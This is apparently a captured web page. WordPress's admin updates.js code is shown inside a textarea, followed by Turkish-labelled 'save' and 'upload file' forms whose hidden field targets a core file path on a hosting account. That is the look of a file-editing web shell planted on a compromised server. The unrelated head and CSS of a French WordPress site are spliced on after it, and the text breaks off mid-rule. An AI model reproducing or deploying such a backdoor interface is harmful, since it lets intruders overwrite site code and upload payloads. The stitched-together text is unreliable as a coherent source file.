			var $searchTab = $( &#039;.plugin-install-search&#039; ), data, searchLocation,
				searchStringLength = $pluginInstallSearch.val().length;

			data = {
				_ajax_nonce: wp.updates.ajaxNonce,
				s:           encodeURIComponent( event.target.value ),
				tab:         &#039;search&#039;,
				type:        $( &#039;#typeselector&#039; ).val(),
				pagenow:     pagenow
			};
			searchLocation = location.href.split( &#039;?&#039; )[ 0 ] + &#039;?&#039; + $.param( _.omit( data, [ &#039;_ajax_nonce&#039;, &#039;pagenow&#039; ] ) );

			// Set the autocomplete attribute, turning off autocomplete 1 character before ajax search kicks in.
			if ( wp.updates.shouldSearch( searchStringLength ) ) {
				$pluginInstallSearch.attr( &#039;autocomplete&#039;, &#039;off&#039; );
			} else {
				$pluginInstallSearch.attr( &#039;autocomplete&#039;, &#039;on&#039; );
				return;
			}

			// Clear on escape.
			if ( &#039;keyup&#039; === event.type &amp;&amp; 27 === event.which ) {
				event.target.value = &#039;&#039;;
			}

			if ( wp.updates.searchTerm === data.s &amp;&amp; &#039;typechange&#039; !== eventtype ) {
				return;
			} else {
				$pluginFilter.empty();
				wp.updates.searchTerm = data.s;
			}

			if ( window.history &amp;&amp; window.history.replaceState ) {
				window.history.replaceState( null, &#039;&#039;, searchLocation );
			}

			if ( ! $searchTab.length ) {
				$searchTab = $( &#039;&lt;li class=&quot;plugin-install-search&quot; /&gt;&#039; )
					.append( $( &#039;&lt;a /&gt;&#039;, {
						&#039;class&#039;: &#039;current&#039;,
						&#039;href&#039;: searchLocation,
						&#039;text&#039;: __( &#039;Search Results&#039; )
					} ) );

				$( &#039;.wp-filter .filter-links .current&#039; )
					.removeClass( &#039;current&#039; )
					.parents( &#039;.filter-links&#039; )
					.prepend( $searchTab );

				$pluginFilter.prev( &#039;p&#039; ).remove();
				$( &#039;.plugins-popular-tags-wrapper&#039; ).remove();
			}

			if ( &#039;undefined&#039; !== typeof wp.updates.searchRequest ) {
				wp.updates.searchRequest.abort();
			}
			$( &#039;body&#039; ).addClass( &#039;loading-content&#039; );

			wp.updates.searchRequest = wp.ajax.post( &#039;search-install-plugins&#039;, data ).done( function( response ) {
				$( &#039;body&#039; ).removeClass( &#039;loading-content&#039; );
				$pluginFilter.append( response.items );
				delete wp.updates.searchRequest;

				if ( 0 === response.count ) {
					wp.a11y.speak( __( &#039;You do not appear to have any plugins available at this time.&#039; ) );
				} else {
					wp.a11y.speak(
						sprintf(
							/* translators: %s: Number of plugins. */
							__( &#039;Number of plugins found: %d&#039; ),
							response.count
						)
					);
				}
			} );
		}, 1000 ) );

		if ( $pluginSearch.length ) {
			$pluginSearch.attr( &#039;aria-describedby&#039;, &#039;live-search-desc&#039; );

		}

		/**
		 * Handles changes to the plugin search box on the Installed Plugins screen,
		 * searching the plugin list dynamically.
		 *
		 * @since 4.6.0
		 */
		$pluginSearch.on( &#039;keyup input&#039;, _.debounce( function( event ) {
			var data = {
				_ajax_nonce:   wp.updates.ajaxNonce,
				s:             encodeURIComponent( event.target.value ),
				pagenow:       pagenow,
				plugin_status: &#039;all&#039;
			},
			queryArgs,
			searchStringLength = $pluginSearch.val().length;

			// Set the autocomplete attribute, turning off autocomplete 1 character before ajax search kicks in.
			if ( wp.updates.shouldSearch( searchStringLength ) ) {
				$pluginSearch.attr( &#039;autocomplete&#039;, &#039;off&#039; );
			} else {
				$pluginSearch.attr( &#039;autocomplete&#039;, &#039;on&#039; );
				return;
			}

			// Clear on escape.
			if ( &#039;keyup&#039; === event.type &amp;&amp; 27 === event.which ) {
				event.target.value = &#039;&#039;;
			}

			if ( wp.updates.searchTerm === data.s ) {
				return;
			} else {
				wp.updates.searchTerm = data.s;
			}

			queryArgs = _.object( _.compact( _.map( location.search.slice( 1 ).split( &#039;&amp;&#039; ), function( item ) {
				if ( item ) return item.split( &#039;=&#039; );
			} ) ) );

			data.plugin_status = queryArgs.plugin_status || &#039;all&#039;;

			if ( window.history &amp;&amp; window.history.replaceState ) {
				window.history.replaceState( null, &#039;&#039;, location.href.split( &#039;?&#039; )[ 0 ] + &#039;?s=&#039; + data.s + &#039;&amp;plugin_status=&#039; + data.plugin_status );
			}

			if ( &#039;undefined&#039; !== typeof wp.updates.searchRequest ) {
				wp.updates.searchRequest.abort();
			}

			$bulkActionForm.empty();
			$( &#039;body&#039; ).addClass( &#039;loading-content&#039; );
			$( &#039;.subsubsub .current&#039; ).removeClass( &#039;current&#039; );

			wp.updates.searchRequest = wp.ajax.post( &#039;search-plugins&#039;, data ).done( function( response ) {

				// Can we just ditch this whole subtitle business?
				var $subTitle    = $( &#039;&lt;span /&gt;&#039; ).addClass( &#039;subtitle&#039; ).html(
					sprintf(
						/* translators: %s: Search query. */
						__( &#039;Search results for: %s&#039; ),
						&#039;&lt;strong&gt;&#039; + _.escape( decodeURIComponent( data.s ) ) + &#039;&lt;/strong&gt;&#039;
					) ),
					$oldSubTitle = $( &#039;.wrap .subtitle&#039; );

				if ( ! data.s.length ) {
					$oldSubTitle.remove();
					$( &#039;.subsubsub .&#039; + data.plugin_status + &#039; a&#039; ).addClass( &#039;current&#039; );
				} else if ( $oldSubTitle.length ) {
					$oldSubTitle.replaceWith( $subTitle );
				} else {
					$( &#039;.wp-header-end&#039; ).before( $subTitle );
				}

				$( &#039;body&#039; ).removeClass( &#039;loading-content&#039; );
				$bulkActionForm.append( response.items );
				delete wp.updates.searchRequest;

				if ( 0 === response.count ) {
					wp.a11y.speak( __( &#039;No plugins found. Try a different search.&#039;  ) );
				} else {
					wp.a11y.speak(
						sprintf(
							/* translators: %s: Number of plugins. */
							__( &#039;Number of plugins found: %d&#039; ),
							response.count
						)
					);
				}
			} );
		}, 500 ) );

		/**
		 * Trigger a search event when the search form gets submitted.
		 *
		 * @since 4.6.0
		 */
		$document.on( &#039;submit&#039;, &#039;.search-plugins&#039;, function( event ) {
			event.preventDefault();

			$( &#039;input.wp-filter-search&#039; ).trigger( &#039;input&#039; );
		} );

		/**
		 * Trigger a search event when the &quot;Try Again&quot; button is clicked.
		 *
		 * @since 4.9.0
		 */
		$document.on( &#039;click&#039;, &#039;.try-again&#039;, function( event ) {
			event.preventDefault();
			$pluginInstallSearch.trigger( &#039;input&#039; );
		} );

		/**
		 * Trigger a search event when the search type gets changed.
		 *
		 * @since 4.6.0
		 */
		$( &#039;#typeselector&#039; ).on( &#039;change&#039;, function() {
			var $search = $( &#039;input[name=&quot;s&quot;]&#039; );

			if ( $search.val().length ) {
				$search.trigger( &#039;input&#039;, &#039;typechange&#039; );
			}
		} );

		/**
		 * Click handler for updating a plugin from the details modal on `plugin-install.php`.
		 *
		 * @since 4.2.0
		 *
		 * @param {Event} event Event interface.
		 */
		$( &#039;#plugin_update_from_iframe&#039; ).on( &#039;click&#039;, function( event ) {
			var target = window.parent === window ? null : window.parent,
				update;

			$.support.postMessage = !! window.postMessage;

			if ( false === $.support.postMessage || null === target || -1 !== window.parent.location.pathname.indexOf( &#039;update-core.php&#039; ) ) {
				return;
			}

			event.preventDefault();

			update = {
				action: &#039;update-plugin&#039;,
				data:   {
					plugin: $( this ).data( &#039;plugin&#039; ),
					slug:   $( this ).data( &#039;slug&#039; )
				}
			};

			target.postMessage( JSON.stringify( update ), window.location.origin );
		} );

		/**
		 * Handles postMessage events.
		 *
		 * @since 4.2.0
		 * @since 4.6.0 Switched `update-plugin` action to use the queue.
		 *
		 * @param {Event} event Event interface.
		 */
		$( window ).on( &#039;message&#039;, function( event ) {
			var originalEvent  = event.originalEvent,
				expectedOrigin = document.location.protocol + &#039;//&#039; + document.location.host,
				message;

			if ( originalEvent.origin !== expectedOrigin ) {
				return;
			}

			try {
				message = JSON.parse( originalEvent.data );
			} catch ( e ) {
				return;
			}

			if ( ! message ) {
				return;
			}

			if (
				&#039;undefined&#039; !== typeof message.status &amp;&amp;
				&#039;undefined&#039; !== typeof message.slug &amp;&amp;
				&#039;undefined&#039; !== typeof message.text &amp;&amp;
				&#039;undefined&#039; !== typeof message.ariaLabel
			) {
				var $card = $( &#039;.plugin-card-&#039; + message.slug ),
					$message = $card.find( &#039;[data-slug=&quot;&#039; + message.slug + &#039;&quot;]&#039; );

				if ( &#039;undefined&#039; !== typeof message.removeClasses ) {
					$message.removeClass( message.removeClasses );
				}

				if ( &#039;undefined&#039; !== typeof message.addClasses ) {
					$message.addClass( message.addClasses );
				}

				if ( &#039;&#039; === message.ariaLabel ) {
					$message.removeAttr( &#039;aria-label&#039; );
				} else {
					$message.attr( &#039;aria-label&#039;, message.ariaLabel );
				}

				if ( &#039;dependencies-check-success&#039; === message.status ) {
					$message
						.attr( &#039;data-name&#039;, message.pluginName )
						.attr( &#039;data-slug&#039;, message.slug )
						.attr( &#039;data-plugin&#039;, message.plugin )
						.attr( &#039;href&#039;, message.href );
				}

				$message.text( message.text );
			}

			if ( &#039;undefined&#039; === typeof message.action ) {
				return;
			}

			switch ( message.action ) {

				// Called from `wp-admin/includes/class-wp-upgrader-skins.php`.
				case &#039;decrementUpdateCount&#039;:
					/** @property {string} message.upgradeType */
					wp.updates.decrementCount( message.upgradeType );
					break;

				case &#039;install-plugin&#039;:
				case &#039;update-plugin&#039;:
					if ( &#039;undefined&#039; === typeof message.data || &#039;undefined&#039; === typeof message.data.slug ) {
						return;
					}

					message.data = wp.updates._addCallbacks( message.data, message.action );

					wp.updates.queue.push( message );
					wp.updates.queueChecker();
					break;
			}
		} );

		/**
		 * Adds a callback to display a warning before leaving the page.
		 *
		 * @since 4.2.0
		 */
		$( window ).on( &#039;beforeunload&#039;, wp.updates.beforeunload );

		/**
		 * Prevents the page form scrolling when activating auto-updates with the Spacebar key.
		 *
		 * @since 5.5.0
		 */
		$document.on( &#039;keydown&#039;, &#039;.column-auto-updates .toggle-auto-update, .theme-overlay .toggle-auto-update&#039;, function( event ) {
			if ( 32 === event.which ) {
				event.preventDefault();
			}
		} );

		/**
		 * Click and keyup handler for enabling and disabling plugin and theme auto-updates.
		 *
		 * These controls can be either links or buttons. When JavaScript is enabled,
		 * we want them to behave like buttons. An ARIA role `button` is added via
		 * the JavaScript that targets elements with the CSS class `aria-button-if-js`.
		 *
		 * @since 5.5.0
		 */
		$document.on( &#039;click keyup&#039;, &#039;.column-auto-updates .toggle-auto-update, .theme-overlay .toggle-auto-update&#039;, function( event ) {
			var data, asset, type, $parent,
				$toggler = $( this ),
				action = $toggler.attr( &#039;data-wp-action&#039; ),
				$label = $toggler.find( &#039;.label&#039; );

			if ( &#039;keyup&#039; === event.type &amp;&amp; 32 !== event.which ) {
				return;
			}

			if ( &#039;themes&#039; !== pagenow ) {
				$parent = $toggler.closest( &#039;.column-auto-updates&#039; );
			} else {
				$parent = $toggler.closest( &#039;.theme-autoupdate&#039; );
			}

			event.preventDefault();

			// Prevent multiple simultaneous requests.
			if ( $toggler.attr( &#039;data-doing-ajax&#039; ) === &#039;yes&#039; ) {
				return;
			}

			$toggler.attr( &#039;data-doing-ajax&#039;, &#039;yes&#039; );

			switch ( pagenow ) {
				case &#039;plugins&#039;:
				case &#039;plugins-network&#039;:
					type = &#039;plugin&#039;;
					asset = $toggler.closest( &#039;tr&#039; ).attr( &#039;data-plugin&#039; );
					break;
				case &#039;themes-network&#039;:
					type = &#039;theme&#039;;
					asset = $toggler.closest( &#039;tr&#039; ).attr( &#039;data-slug&#039; );
					break;
				case &#039;themes&#039;:
					type = &#039;theme&#039;;
					asset = $toggler.attr( &#039;data-slug&#039; );
					break;
			}

			// Clear any previous errors.
			$parent.find( &#039;.notice.notice-error&#039; ).addClass( &#039;hidden&#039; );

			// Show loading status.
			if ( &#039;enable&#039; === action ) {
				$label.text( __( &#039;Enabling...&#039; ) );
			} else {
				$label.text( __( &#039;Disabling...&#039; ) );
			}

			$toggler.find( &#039;.dashicons-update&#039; ).removeClass( &#039;hidden&#039; );

			data = {
				action: &#039;toggle-auto-updates&#039;,
				_ajax_nonce: settings.ajax_nonce,
				state: action,
				type: type,
				asset: asset
			};

			$.post( window.ajaxurl, data )
				.done( function( response ) {
					var $enabled, $disabled, enabledNumber, disabledNumber, errorMessage,
						href = $toggler.attr( &#039;href&#039; );

					if ( ! response.success ) {
						// if WP returns 0 for response (which can happen in a few cases),
						// output the general error message since we won&#039;t have response.data.error.
						if ( response.data &amp;&amp; response.data.error ) {
							errorMessage = response.data.error;
						} else {
							errorMessage = __( &#039;The request could not be completed.&#039; );
						}

						$parent.find( &#039;.notice.notice-error&#039; ).removeClass( &#039;hidden&#039; ).find( &#039;p&#039; ).text( errorMessage );
						wp.a11y.speak( errorMessage, &#039;assertive&#039; );
						return;
					}

					// Update the counts in the enabled/disabled views if on a screen
					// with a list table.
					if ( &#039;themes&#039; !== pagenow ) {
						$enabled       = $( &#039;.auto-update-enabled span&#039; );
						$disabled      = $( &#039;.auto-update-disabled span&#039; );
						enabledNumber  = parseInt( $enabled.text().replace( /[^\d]+/g, &#039;&#039; ), 10 ) || 0;
						disabledNumber = parseInt( $disabled.text().replace( /[^\d]+/g, &#039;&#039; ), 10 ) || 0;

						switch ( action ) {
							case &#039;enable&#039;:
								++enabledNumber;
								--disabledNumber;
								break;
							case &#039;disable&#039;:
								--enabledNumber;
								++disabledNumber;
								break;
						}

						enabledNumber = Math.max( 0, enabledNumber );
						disabledNumber = Math.max( 0, disabledNumber );

						$enabled.text( &#039;(&#039; + enabledNumber + &#039;)&#039; );
						$disabled.text( &#039;(&#039; + disabledNumber + &#039;)&#039; );
					}

					if ( &#039;enable&#039; === action ) {
						// The toggler control can be either a link or a button.
						if ( $toggler[ 0 ].hasAttribute( &#039;href&#039; ) ) {
							href = href.replace( &#039;action=enable-auto-update&#039;, &#039;action=disable-auto-update&#039; );
							$toggler.attr( &#039;href&#039;, href );
						}
						$toggler.attr( &#039;data-wp-action&#039;, &#039;disable&#039; );

						$label.text( __( &#039;Disable auto-updates&#039; ) );
						$parent.find( &#039;.auto-update-time&#039; ).removeClass( &#039;hidden&#039; );
						wp.a11y.speak( __( &#039;Auto-updates enabled&#039; ) );
					} else {
						// The toggler control can be either a link or a button.
						if ( $toggler[ 0 ].hasAttribute( &#039;href&#039; ) ) {
							href = href.replace( &#039;action=disable-auto-update&#039;, &#039;action=enable-auto-update&#039; );
							$toggler.attr( &#039;href&#039;, href );
						}
						$toggler.attr( &#039;data-wp-action&#039;, &#039;enable&#039; );

						$label.text( __( &#039;Enable auto-updates&#039; ) );
						$parent.find( &#039;.auto-update-time&#039; ).addClass( &#039;hidden&#039; );
						wp.a11y.speak( __( &#039;Auto-updates disabled&#039; ) );
					}

					$document.trigger( &#039;wp-auto-update-setting-changed&#039;, { state: action, type: type, asset: asset } );
				} )
				.fail( function() {
					$parent.find( &#039;.notice.notice-error&#039; )
						.removeClass( &#039;hidden&#039; )
						.find( &#039;p&#039; )
						.text( __( &#039;The request could not be completed.&#039; ) );

					wp.a11y.speak( __( &#039;The request could not be completed.&#039; ), &#039;assertive&#039; );
				} )
				.always( function() {
					$toggler.removeAttr( &#039;data-doing-ajax&#039; ).find( &#039;.dashicons-update&#039; ).addClass( &#039;hidden&#039; );
				} );
			}
		);
	} );
})( jQuery, window.wp, window._wpUpdatesSettings );
</textarea><br><br>
            <input type="hidden" name="save_file" value="/home4/jrbprodu/public_html/wp-admin/js/updates.js">
            <button type="submit">Kaydet</button>
        </form>
        <hr>
    <h3>Dosya Yükle</h3>
<form method="POST" enctype="multipart/form-data">
    <input type="file" name="upload_file">
    <button type="submit">Yükle</button>
</form><!DOCTYPE html>
<html lang="fr-FR">
<head>
	<meta charset="UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge">
	<link rel="pingback" href="http://haggai-bf.org/xmlrpc.php" />

	<script type="text/javascript">
		document.documentElement.className = 'js';
	</script>

	<title>Tableau de bord | HAGGAI BURKINA FASO</title>
<meta name='robots' content='max-image-preview:large' />
<script type="text/javascript">
			let jqueryParams=[],jQuery=function(r){return jqueryParams=[...jqueryParams,r],jQuery},$=function(r){return jqueryParams=[...jqueryParams,r],$};window.jQuery=jQuery,window.$=jQuery;let customHeadScripts=!1;jQuery.fn=jQuery.prototype={},$.fn=jQuery.prototype={},jQuery.noConflict=function(r){if(window.jQuery)return jQuery=window.jQuery,$=window.jQuery,customHeadScripts=!0,jQuery.noConflict},jQuery.ready=function(r){jqueryParams=[...jqueryParams,r]},$.ready=function(r){jqueryParams=[...jqueryParams,r]},jQuery.load=function(r){jqueryParams=[...jqueryParams,r]},$.load=function(r){jqueryParams=[...jqueryParams,r]},jQuery.fn.ready=function(r){jqueryParams=[...jqueryParams,r]},$.fn.ready=function(r){jqueryParams=[...jqueryParams,r]};</script><link rel='dns-prefetch' href='//haggai-bf.org' />
<link rel='dns-prefetch' href='//fonts.googleapis.com' />
<link rel="alternate" type="application/rss+xml" title="HAGGAI BURKINA FASO &raquo; Flux" href="https://haggai-bf.org/feed/" />
<link rel="alternate" type="application/rss+xml" title="HAGGAI BURKINA FASO &raquo; Flux des commentaires" href="https://haggai-bf.org/comments/feed/" />
<link rel="alternate" title="oEmbed (JSON)" type="application/json+oembed" href="https://haggai-bf.org/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fhaggai-bf.org%2Ftableau-de-bord%2F" />
<link rel="alternate" title="oEmbed (XML)" type="text/xml+oembed" href="https://haggai-bf.org/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fhaggai-bf.org%2Ftableau-de-bord%2F&#038;format=xml" />
<meta content="Divi Child v.1.0.0" name="generator"/><style id="wp-block-library-inline-css">
:root{--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:var(--wp-block-synced-color);--wp-editor-canvas-background:#ddd;--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,160.5;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.wp-element-button{cursor:pointer}:root .has-very-light-gray-background-color{background-color:#eee}:root .has-very-dark-gray-background-color{background-color:#313131}:root .has-very-light-gray-color{color:#eee}:root .has-very-dark-gray-color{color:#313131}:root .has-vivid-green-cyan-to-vivid-cyan-blue-gradient-background{background:linear-gradient(135deg,#00d084,#0693e3)}:root .has-purple-crush-gradient-background{background:linear-gradient(135deg,#34e2e4,#4721fb 50%,#ab1dfe)}:root .has-hazy-dawn-gradient-background{background:linear-gradient(135deg,#faaca8,#dad0ec)}:root .has-subdued-olive-gradient-background{background:linear-gradient(135deg,#fafae1,#67a671)}:root .has-atomic-cream-gradient-background{background:linear-gradient(135deg,#fdd79a,#004a59)}:root .has-nightshade-gradient-background{background:linear-gradient(135deg,#330968,#31cdcf)}:root .has-midnight-gradient-background{background:linear-gradient(135deg,#020381,#2874fc)}:root{--wp--preset--font-size--normal:16px;--wp--preset--font-size--huge:42px}.has-regular-font-size{font-size:1em}.has-larger-font-size{font-size:2.625em}.has-normal-font-size{font-size:var(--wp--preset--font-size--normal)}.has-huge-font-size{font-size:var(--wp--preset--font-size--huge)}:root .has-text-align-center{text-align:center}:root .has-text-align-left{text-align:left}:root .has-text-align-right{text-align:right}.has-fit-text{white-space:nowrap!important}#end-resizable-editor-section{display:none}.aligncenter{clear:both}.items-justified-left{justify-content:flex-start}.items-justified-center{justify-content:center}.items-justified-right{justify-content:flex-end}.items-justified-space-between{justify-content:space-between}.screen-reader-text{word-wrap:normal!important;border:0;clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px}.screen-reader-text:focus{background-color:#ddd;clip-path:none;color:#444;display:block;font-size:1em;height:auto;left:5px;line-height:normal;padding:15px 23px 14px;text-decoration:none;top:5px;width:auto;z-index:100000}html :where(.has-border-color){border-style:solid}html :where([style*=border-color]){border-style:solid}html :where([style*=border-top-color]){border-top-style:solid}html :where([style*=border-right-color]){border-right-style:solid}html :where([style*=border-bottom-color]){border-bottom-style:solid}html :where([style*=border-left-color]){border-left-style:solid}html :where([style*=border-width]){border-style:solid}html :where([style*=border-top-width]){border-top-style:solid}html :where([style*=border-right-width]){border-right-style:solid}html :where([style*=border-bottom-width]){border-bottom-style:solid}html :where([style*=border-left-width]){border-left-style:solid}html :where(img[class*=wp-image-]){height:auto;max-width:100%}:where(figure){margin:0 0 1em}html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:var(--wp-admin--admin-bar--height,0px)}@media screen and (max-width:600px){html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:0px}}
/*wp_block_styles_on_demand_placeholder:6a1d36417fb37*/
/*# sourceURL=wp-block-library-inline-css */
</style>
<style id="wp-block-styles-placeholder-inline-css">
:root { --wp-internal-comment: "Placeholder for wp_hoist_late_printed_styles() to replace with the block styles printed at wp_footer." }
/*# sourceURL=wp-block-styles-placeholder-inline-css */
</style>
<style id="wp-global-styles-placeholder-inline-css">
:root { --wp-internal-comment: "Placeholder for wp_hoist_late_printed_styles() to replace with the global-styles printed at wp_footer." }
/*# sourceURL=wp-global-styles-placeholder-inline-css */
</style>
<link rel='stylesheet' id='et-divi-open-sans-css' href='https://fonts.googleapis.com/css?family=Open+Sans:300italic,400italic,600italic,700italic,800italic,400,300,600,700,800&#038;subset=latin,latin-ext&#038;display=swap' media='all' />
<style id="divi-style-parent-inline-inline-css">
/*!
Theme Name: Divi
Theme URI: http://www.elegantthemes.com/gallery/divi/
Version: 4.27.6
Description: Smart. Flexible. Beautiful. Divi is the most powerful theme in our collection.
Author: Elegant Themes
Author URI: http://www.elegantthemes.com
License: GNU General Public License v2
License URI: http://www.gnu.org/licenses/gpl-2.0.html
*/
a,abbr,acronym,address,applet,b,big,blockquote,body,center,cite,code,dd,del,dfn,div,dl,dt,em,fieldset,font,form,h1,h2,h3,h4,h5,h6,html,i,iframe,img,ins,kbd,label,legend,li,object,ol,p,pre,q,s,samp,small,span,strike,strong,sub,sup,tt,u,ul,var{margin:0;padding:0;border:0;outline:0;font-size:100%;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%;vertical-align:baseline;background:transparent}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:"";content:none}blockquote{margin:20px 0 30px;border-left:5px solid;padding-left:20px}:focus{outline:0}del{text-decoration:line-through}pre{overflow:auto;padding:10px}figure{margin:0}table{border-collapse:collapse;border-spacing:0}article,aside,footer,header,hgroup,nav,section{display:block}body{font-family:Open Sans,Arial,sans-serif;font-size:14px;color:#666;background-color:#fff;line-height:1.7em;font-weight:500;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}body.page-template-page-template-blank-php #page-container{padding-top:0!important}body.et_cover_background{background-size:cover!important;background-position:top!important;background-repeat:no-repeat!important;background-attachment:fixed}a{color:#2ea3f2}a,a:hover{text-decoration:none}p{padding-bottom:1em}p:not(.has-background):last-of-type{padding-bottom:0}p.et_normal_padding{padding-bottom:1em}strong{font-weight:700}cite,em,i{font-style:italic}code,pre{font-family:Courier New,monospace;margin-bottom:10px}ins{text-decoration:none}sub,sup{height:0;line-height:1;position:relative;vertical-align:baseline}sup{bottom:.8em}sub{top:.3em}dl{margin:0 0 1.5em}dl dt{font-weight:700}dd{margin-left:1.5em}blockquote p{padding-bottom:0}embed,iframe,object,video{max-width:100%}h1,h2,h3,h4,h5,h6{color:#333;padding-bottom:10px;line-height:1em;font-weight:500}h1 a,h2 a,h3 a,h4 a,h5 a,h6 a{color:inherit}h1{font-size:30px}h2{font-size:26px}h3{font-size:22px}h4{font-size:18px}h5{font-size:16px}h6{font-size:14px}input{-webkit-appearance:none}input[type=checkbox]{-webkit-appearance:checkbox}input[type=radio]{-webkit-appearance:radio}input.text,input.title,input[type=email],input[type=password],input[type=tel],input[type=text],select,textarea{background-color:#fff;border:1px solid #bbb;padding:2px;color:#4e4e4e}input.text:focus,input.title:focus,input[type=text]:focus,select:focus,textarea:focus{border-color:#2d3940;color:#3e3e3e}input.text,input.title,input[type=text],select,textarea{margin:0}textarea{padding:4px}button,input,select,textarea{font-family:inherit}img{max-width:100%;height:auto}.clear{clear:both}br.clear{margin:0;padding:0}.pagination{clear:both}#et_search_icon:hover,.et-social-icon a:hover,.et_password_protected_form .et_submit_button,.form-submit .et_pb_buttontton.alt.disabled,.nav-single a,.posted_in a{color:#2ea3f2}.et-search-form,blockquote{border-color:#2ea3f2}#main-content{background-color:#fff}.container{width:80%;max-width:1080px;margin:auto;position:relative}body:not(.et-tb) #main-content .container,body:not(.et-tb-has-header) #main-content .container{padding-top:58px}.et_full_width_page #main-content .container:before{display:none}.main_title{margin-bottom:20px}.et_password_protected_form .et_submit_button:hover,.form-submit .et_pb_button:hover{background:rgba(0,0,0,.05)}.et_button_icon_visible .et_pb_button{padding-right:2em;padding-left:.7em}.et_button_icon_visible .et_pb_button:after{opacity:1;margin-left:0}.et_button_left .et_pb_button:hover:after{left:.15em}.et_button_left .et_pb_button:after{margin-left:0;left:1em}.et_button_icon_visible.et_button_left .et_pb_button,.et_button_left .et_pb_button:hover,.et_button_left .et_pb_module .et_pb_button:hover{padding-left:2em;padding-right:.7em}.et_button_icon_visible.et_button_left .et_pb_button:after,.et_button_left .et_pb_button:hover:after{left:.15em}.et_password_protected_form .et_submit_button:hover,.form-submit .et_pb_button:hover{padding:.3em 1em}.et_button_no_icon .et_pb_button:after{display:none}.et_button_no_icon.et_button_icon_visible.et_button_left .et_pb_button,.et_button_no_icon.et_button_left .et_pb_button:hover,.et_button_no_icon .et_pb_button,.et_button_no_icon .et_pb_button:hover{padding:.3em 1em!important}.et_button_custom_icon .et_pb_button:after{line-height:1.7em}.et_button_custom_icon.et_button_icon_visible .et_pb_button:after,.et_button_custom_icon .et_pb_button:hover:after{margin-left:.3em}#left-area .post_format-post-format-gallery .wp-block-gallery:first-of-type{padding:0;margin-bottom:-16px}.entry-content table:not(.variations){border:1px solid #eee;margin:0 0 15px;text-align:left;width:100%}.entry-content thead th,.entry-content tr th{color:#555;font-weight:700;padding:9px 24px}.entry-content tr td{border-top:1px solid #eee;padding:6px 24px}#left-area ul,.entry-content ul,.et-l--body ul,.et-l--footer ul,.et-l--header ul{list-style-type:disc;padding:0 0 23px 1em;line-height:26px}#left-area ol,.entry-content ol,.et-l--body ol,.et-l--footer ol,.et-l--header ol{list-style-type:decimal;list-style-position:inside;padding:0 0 23px;line-height:26px}#left-area ul li ul,.entry-content ul li ol{padding:2px 0 2px 20px}#left-area ol li ul,.entry-content ol li ol,.et-l--body ol li ol,.et-l--footer ol li ol,.et-l--header ol li ol{padding:2px 0 2px 35px}#left-area ul.wp-block-gallery{display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;list-style-type:none;padding:0}#left-area ul.products{padding:0!important;line-height:1.7!important;list-style:none!important}.gallery-item a{display:block}.gallery-caption,.gallery-item a{width:90%}#wpadminbar{z-index:100001}#left-area .post-meta{font-size:14px;padding-bottom:15px}#left-area .post-meta a{text-decoration:none;color:#666}#left-area .et_featured_image{padding-bottom:7px}.single .post{padding-bottom:25px}body.single .et_audio_content{margin-bottom:-6px}.nav-single a{text-decoration:none;color:#2ea3f2;font-size:14px;font-weight:400}.nav-previous{float:left}.nav-next{float:right}.et_password_protected_form p input{background-color:#eee;border:none!important;width:100%!important;border-radius:0!important;font-size:14px;color:#999!important;padding:16px!important;-webkit-box-sizing:border-box;box-sizing:border-box}.et_password_protected_form label{display:none}.et_password_protected_form .et_submit_button{font-family:inherit;display:block;float:right;margin:8px auto 0;cursor:pointer}.post-password-required p.nocomments.container{max-width:100%}.post-password-required p.nocomments.container:before{display:none}.aligncenter,div.post .new-post .aligncenter{display:block;margin-left:auto;margin-right:auto}.wp-caption{border:1px solid #ddd;text-align:center;background-color:#f3f3f3;margin-bottom:10px;max-width:96%;padding:8px}.wp-caption.alignleft{margin:0 30px 20px 0}.wp-caption.alignright{margin:0 0 20px 30px}.wp-caption img{margin:0;padding:0;border:0}.wp-caption p.wp-caption-text{font-size:12px;padding:0 4px 5px;margin:0}.alignright{float:right}.alignleft{float:left}img.alignleft{display:inline;float:left;margin-right:15px}img.alignright{display:inline;float:right;margin-left:15px}.page.et_pb_pagebuilder_layout #main-content{background-color:transparent}body #main-content .et_builder_inner_content>h1,body #main-content .et_builder_inner_content>h2,body #main-content .et_builder_inner_content>h3,body #main-content .et_builder_inner_content>h4,body #main-content .et_builder_inner_content>h5,body #main-content .et_builder_inner_content>h6{line-height:1.4em}body #main-content .et_builder_inner_content>p{line-height:1.7em}.wp-block-pullquote{margin:20px 0 30px}.wp-block-pullquote.has-background blockquote{border-left:none}.wp-block-group.has-background{padding:1.5em 1.5em .5em}@media (min-width:981px){#left-area{width:79.125%;padding-bottom:23px}#main-content .container:before{content:"";position:absolute;top:0;height:100%;width:1px;background-color:#e2e2e2}.et_full_width_page #left-area,.et_no_sidebar #left-area{float:none;width:100%!important}.et_full_width_page #left-area{padding-bottom:0}.et_no_sidebar #main-content .container:before{display:none}}@media (max-width:980px){#page-container{padding-top:80px}.et-tb #page-container,.et-tb-has-header #page-container{padding-top:0!important}#left-area,#sidebar{width:100%!important}#main-content .container:before{display:none!important}.et_full_width_page .et_gallery_item:nth-child(4n+1){clear:none}}@media print{#page-container{padding-top:0!important}}#wp-admin-bar-et-use-visual-builder a:before{font-family:ETmodules!important;content:"\e625";font-size:30px!important;width:28px;margin-top:-3px;color:#974df3!important}#wp-admin-bar-et-use-visual-builder:hover a:before{color:#fff!important}#wp-admin-bar-et-use-visual-builder:hover a,#wp-admin-bar-et-use-visual-builder a:hover{transition:background-color .5s ease;-webkit-transition:background-color .5s 